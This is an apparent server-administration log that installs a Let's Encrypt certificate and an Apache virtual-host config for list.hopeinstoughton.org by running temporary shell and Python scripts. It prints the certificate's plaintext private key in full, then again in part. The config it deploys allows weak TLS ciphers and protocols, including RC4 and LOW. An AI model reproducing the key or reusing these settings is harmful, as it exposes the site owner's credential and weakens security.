mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cat > IZV3no0-TzQVBmydc8nuudCqspgmsxW5CWhIZMyMsOI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
IZV3no0-TzQVBmydc8nuudCqspgmsxW5CWhIZMyMsOI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 IZV3no0-TzQVBmydc8nuudCqspgmsxW5CWhIZMyMsOI
cat > UI301a7y0MSOlfqpCU9CAd5CbTgLvOwpuqrHUX8KG74 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UI301a7y0MSOlfqpCU9CAd5CbTgLvOwpuqrHUX8KG74.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UI301a7y0MSOlfqpCU9CAd5CbTgLvOwpuqrHUX8KG74


2025-10-08 06:00:34: 

chmod 755 /tmp/pkp692802; /tmp/pkp692802; rm /tmp/pkp692802

2025-10-08 06:00:34: 




2025-10-08 06:00:45: Establishing a connection
2025-10-08 06:00:45: 

PUT: /tmp/pkp557806

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
rm IZV3no0-TzQVBmydc8nuudCqspgmsxW5CWhIZMyMsOI
rm UI301a7y0MSOlfqpCU9CAd5CbTgLvOwpuqrHUX8KG74


2025-10-08 06:00:45: 

chmod 755 /tmp/pkp557806; /tmp/pkp557806; rm /tmp/pkp557806

2025-10-08 06:00:45: 




2025-10-08 06:00:45: Establishing a connection
2025-10-08 06:00:46: 

PUT: /tmp/pkp380490

#!/bin/bash
temp_file=$(mktemp)
TARGET=625c49c8e1729cb5d0e1dcdf03ddcd68.crt

cat > $temp_file <<'endmsg'
ff:11:8f:1a:0b:4b:5d:ba:a6:f8:25:4c:bd:32:c4:a3

-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBbW4db0XFEVYpEMgYxnE5YjmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA4MDUwMjE0WhcNMjYwMTA2MDUwMjEzWjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCwCRE6gVi4tuU8XsgK67QvWh2qGOrPmp1RJrUL9taz/kjs9TB9
c0hBRNx6Zw+/SuEG7QS+KlQGcXC4SSm+RLTzJ6sjPCAJnpGLltTpJFLwzFFEFGDE
xEA75i9C5kt8UoRmh3EZh6ZwRUWuMyC/O+qO2ZudsrluB0Aa/QhJc/OnCq3X0IRn
zdChhwOAbmquiIaTnePZrbeCOAz5pNley1e1IcJ/lNWF9LVZeeOQuXmCHVHRctK6
Nh5tiXGgRcHwb5ihtkUiBWC+iMYBRPiFOUjtbm1DJLZ02wdEIRXLgDNWYUbggS14
m5KLBwaLvNeJQOAE18hk727/NSEaBb5Wwz8pAgMBAAGjggI+MIICOjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFO6qw5SqkFAXyWHcGlZ9HAJ0Yt+VMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOAYDVR0RBDEwL4IYbGlzdC5ob3Bl
aW5zdG91Z2h0b24ub3JnghNsaXN0LnN0b3VnaHRvbi5saW5rMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMTAzLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2AKRCxQZJYGFUjw/U
6pz7ei0mRU2HqX8v30VZ9idPOoRUAAABmcJoYP0AAAQDAEcwRQIhAN+Mg9a2SbOz
zcI2fE4Usx6sqmorrzmg4vUCT06AkkIkAiAx4c/DwXNRlVbEjeo7CoedCh65DdTb
zZww3hLMTLyF+QB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAAB
mcJoYQMAAAQDAEcwRQIhAIpJpU6JeScj/UbQUK4YhXMv1k1znhAHGwEqUKmHu7V9
AiAu38/2/yGluEfeK3o3O0ctcjQ3R74Sd7xw6TPU/8Rt0TANBgkqhkiG9w0BAQsF
AAOCAQEAJeBt+aH7Ez2z0ri8Q6ERAHB2n1HQzcvcVKT0r4bewZF8hY2EivEujcls
IAslETcGlOLYjjxTyka0Qzo2Y1lRrCHGgIdFpbWa46bQ94IzZMFnOHl4ijOjjXMV
zIIEcyHUgaHgFbZ4+sCmrmmxQDdIynvwsgYcOJm58oENBd7hrGgiFunFIeHb4RNp
v5OirqbOJDNpgmWhA3I5Mr7W3l/fMUcJWORIfB9Ng2gBicuFT1cncFji/x0tkzGS
vEpglbCmaI1yHOzQgJA22uopoqvesT+oe6qNN21t2+5qcww70wGXVIlcxWTfnPxf
WDTNf5882qqSBe9lDvKqCwErqVwoSw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwCRE6gVi4tuU8
XsgK67QvWh2qGOrPmp1RJrUL9taz/kjs9TB9c0hBRNx6Zw+/SuEG7QS+KlQGcXC4
SSm+RLTzJ6sjPCAJnpGLltTpJFLwzFFEFGDExEA75i9C5kt8UoRmh3EZh6ZwRUWu
MyC/O+qO2ZudsrluB0Aa/QhJc/OnCq3X0IRnzdChhwOAbmquiIaTnePZrbeCOAz5
pNley1e1IcJ/lNWF9LVZeeOQuXmCHVHRctK6Nh5tiXGgRcHwb5ihtkUiBWC+iMYB
RPiFOUjtbm1DJLZ02wdEIRXLgDNWYUbggS14m5KLBwaLvNeJQOAE18hk727/NSEa
Bb5Wwz8pAgMBAAECggEAH7pCpKzTdNdiEbNzkqRQ4Yf4eMPs7mYLnKjBUNq4b9CR
DERU7QduKnVi15zjtbKlRD5L8IpogpDHpC9rmqN/iaPIsJ0RmSo/SU1yKmMln8jz
jLWvi0dj3GfsdL5VNJ8axe/7boKIeQvDN1Z3vH/sErsd1Rp1WWNtJnAcokCH1b9G
bA2c+lP0sJaVV/8B00usejBN2+yt2s7d9uGdaJAf9g+bUal+XUerQo+XuqnbIvEy
KiYqtk0TfR0Z6WLj+HlqxaUXpgJ2gx9vnHEEm/BW0jtwJEnug4g6XWEmOt1jgyay
alzPBVjda0e5hMl+i5gm072P3vtiS6Of43VI0o0jkQKBgQDb0+wyP1oteOev7Xw1
ZGiSmZ3vsPYqUPQILavr+hAiWuurPkPHMa+Jlioo5h1+zw8GWsdyrsZmKRSfhtC3
5aImNQjk0qq6YJoOgrmnalE0qOKABkRQjMrr2YivSuA2YYOQ3ytAFe1rJiqRCtH7
1zZT9gniTRmCZHAM+7T89RJaAwKBgQDNAGxnfEMcg9ZrnkuMMPOome2/W+WL0QXB
63NUVfXjHxjYjLh6dcaW87XNV8jYsvZB2uCr+e3nYU/TFfjeGnavY5PcYo3JWx27
I1TD3SlifpS3wUvVtPE0LOGpxlVLkvGHg/8efin54Lfxzt/c4rQQLZJDcrRY0RVz
rB4I59jQYwKBgQCxnwjoiNv6hgje1AtasOj2G33L4Lbm9kZYHV8e6w0CVWi7EzJ8
zx7BEz65kUYf4nqHbe5eMe5JOcRaKfqXvMpKCOxIyBf/RHL2apZMOdGntRZez7F/
TGPiMgEJcny8NAq0kj5GJ/GQdGRMkeudjAVvzguqeRW1kCYht3hENFlBtQKBgGYK
GOtlyc3uvZLxxu7wCshYXiPK7TYsA66jsNNAulSjzO01Fjo2V3QZuNuOH3Xllnfv
J7fSfp2WLXKHVEnRaFQiv52KHMMmLGVSz8VyV0Ake4f/mey01P7AfE7SXvBwIvLu
O9WEvQYY2dZtv7YlzbTjyhLyjFxNLl1WRdju9le7AoGAT1yOBDQDHEg4jbrAW3Pj
G9TTuwsWr3bONGxZulwhgjl23S5VrKUu9L7IAfCq5d7FeRZ3rHtOKSjk7f7s5z+F
M3rLdFCgGstTqCAH3ZYqPMHlsxnktzjGCZfUFjHWB2EhKStoCFKqj6gyrKzyioKb
MTXm3ECq2kQ1BBFbQhI9uCU=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-08 06:00:46: 

chmod 755 /tmp/pkp380490; /tmp/pkp380490; rm /tmp/pkp380490

2025-10-08 06:00:46: 


dir=/etc/ssl/certs


2025-10-08 06:00:46: 

PUT: /tmp/pkp824130

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-08 06:00:46: 

chmod 755 /tmp/pkp824130; /tmp/pkp824130; rm /tmp/pkp824130

2025-10-08 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf 58

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-08 06:00:46: 

PUT: /tmp/pkp605839

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_list_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf= 1'
fi


2025-10-08 06:00:46: 

chmod 755 /tmp/pkp605839; /tmp/pkp605839; rm /tmp/pkp605839

2025-10-08 06:00:46: 




2025-10-08 06:00:46: 

PUT: /tmp/pkp790459

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-08 06:00:46: 

chmod 755 /tmp/pkp790459; /tmp/pkp790459; rm /tmp/pkp790459

2025-10-08 06:00:46: 


.


2025-10-08 06:00:46: Establishing a connection
2025-10-08 06:00:46: 

PUT: /tmp/pkp525017

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-08 06:00:46: 

chmod 755 /tmp/pkp525017; /tmp/pkp525017; rm /tmp/pkp525017

2025-10-08 06:00:46: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-08 06:00:46: 

PUT: /tmp/pkp930362

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-08 06:00:46: 

chmod 755 /tmp/pkp930362; /tmp/pkp930362; rm /tmp/pkp930362

2025-10-08 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf	1431

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-08 06:00:46: 

PUT: /tmp/pkp911765

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-08 06:00:46: 

chmod 755 /tmp/pkp911765; /tmp/pkp911765; rm /tmp/pkp911765

2025-10-08 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt	5405
ff:11:8f:1a:0b:4b:5d:ba:a6:f8:25:4c:bd:32:c4:a3

-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBbW4db0XFEVYpEMgYxnE5YjmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA4MDUwMjE0WhcNMjYwMTA2MDUwMjEzWjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCwCRE6gVi4tuU8XsgK67QvWh2qGOrPmp1RJrUL9taz/kjs9TB9
c0hBRNx6Zw+/SuEG7QS+KlQGcXC4SSm+RLTzJ6sjPCAJnpGLltTpJFLwzFFEFGDE
xEA75i9C5kt8UoRmh3EZh6ZwRUWuMyC/O+qO2ZudsrluB0Aa/QhJc/OnCq3X0IRn
zdChhwOAbmquiIaTnePZrbeCOAz5pNley1e1IcJ/lNWF9LVZeeOQuXmCHVHRctK6
Nh5tiXGgRcHwb5ihtkUiBWC+iMYBRPiFOUjtbm1DJLZ02wdEIRXLgDNWYUbggS14
m5KLBwaLvNeJQOAE18hk727/NSEaBb5Wwz8pAgMBAAGjggI+MIICOjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFO6qw5SqkFAXyWHcGlZ9HAJ0Yt+VMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOAYDVR0RBDEwL4IYbGlzdC5ob3Bl
aW5zdG91Z2h0b24ub3JnghNsaXN0LnN0b3VnaHRvbi5saW5rMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMTAzLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2AKRCxQZJYGFUjw/U
6pz7ei0mRU2HqX8v30VZ9idPOoRUAAABmcJoYP0AAAQDAEcwRQIhAN+Mg9a2SbOz
zcI2fE4Usx6sqmorrzmg4vUCT06AkkIkAiAx4c/DwXNRlVbEjeo7CoedCh65DdTb
zZww3hLMTLyF+QB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAAB
mcJoYQMAAAQDAEcwRQIhAIpJpU6JeScj/UbQUK4YhXMv1k1znhAHGwEqUKmHu7V9
AiAu38/2/yGluEfeK3o3O0ctcjQ3R74Sd7xw6TPU/8Rt0TANBgkqhkiG9w0BAQsF
AAOCAQEAJeBt+aH7Ez2z0ri8Q6ERAHB2n1HQzcvcVKT0r4bewZF8hY2EivEujcls
IAslETcGlOLYjjxTyka0Qzo2Y1lRrCHGgIdFpbWa46bQ94IzZMFnOHl4ijOjjXMV
zIIEcyHUgaHgFbZ4+sCmrmmxQDdIynvwsgYcOJm58oENBd7hrGgiFunFIeHb4RNp
v5OirqbOJDNpgmWhA3I5Mr7W3l/fMUcJWORIfB9Ng2gBicuFT1cncFji/x0tkzGS
vEpglbCmaI1yHOzQgJA22uopoqvesT+oe6qNN21t2+5qcww70wGXVIlcxWTfnPxf
WDTNf5882qqSBe9lDvKqCwErqVwoSw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwCRE6gVi4tuU8
XsgK67QvWh2qGOrPmp1RJrUL9taz/kjs9TB9c0hBRNx6Zw+/SuEG7QS+KlQGcXC4
SSm+RLTzJ6sjPCAJnpGLltTpJFLwzFFEFGDExEA75i9C5kt8UoRmh3EZh6ZwRUWu
MyC/O+qO2ZudsrluB0Aa/QhJc/OnCq3X0IRnzdChhwOAbmquiIaTnePZrbeCOAz5
pNley1e1IcJ/lNWF9LVZeeOQuXmCHVHRctK6Nh5tiXGgRcHwb5ihtkUiBWC+iMYB
RPiFOUjtbm1DJLZ02wdEIRXLgDNWYUbggS14m5KLBwaLvNeJQOAE18hk727/NSEa
Bb5Wwz8pAgMBAAECggEAH7pCpKzTdNdiEbNzkqRQ4Yf4eMPs7mYLnKjBUNq4b9CR
DERU7QduKnVi15zjtbKlRD5L8IpogpDHpC9rmqN/iaPIsJ0RmSo/SU1yKmMln8jz
jLWvi0dj3GfsdL5VNJ8axe/7boKIeQvDN1Z3vH/sErsd1Rp1WWNtJnAcokCH1b9G
bA2c+lP0sJaVV/8B00usejBN2+yt2s7d9uGdaJAf9g+bUal+XUerQo+XuqnbIvEy
KiYqtk0TfR0Z6WLj+HlqxaUXpgJ2gx9vnHEEm/BW0jtwJEnug4g6XWEmOt1jgyay
alzPBVjda0e5hMl+i5gm072P3vtiS6Of43VI0o0jkQKBgQDb0+wyP1oteOev7Xw1
ZGiSmZ3vsPYqUPQILavr+hAiWuurPkPHMa+Jlioo5h1+zw8GWsdyrsZmKRSfhtC3
5aImNQjk0qq6YJoOgrmnalE0qOKABkRQjMrr2YivSuA2YYOQ3ytAFe1rJiqRCtH7
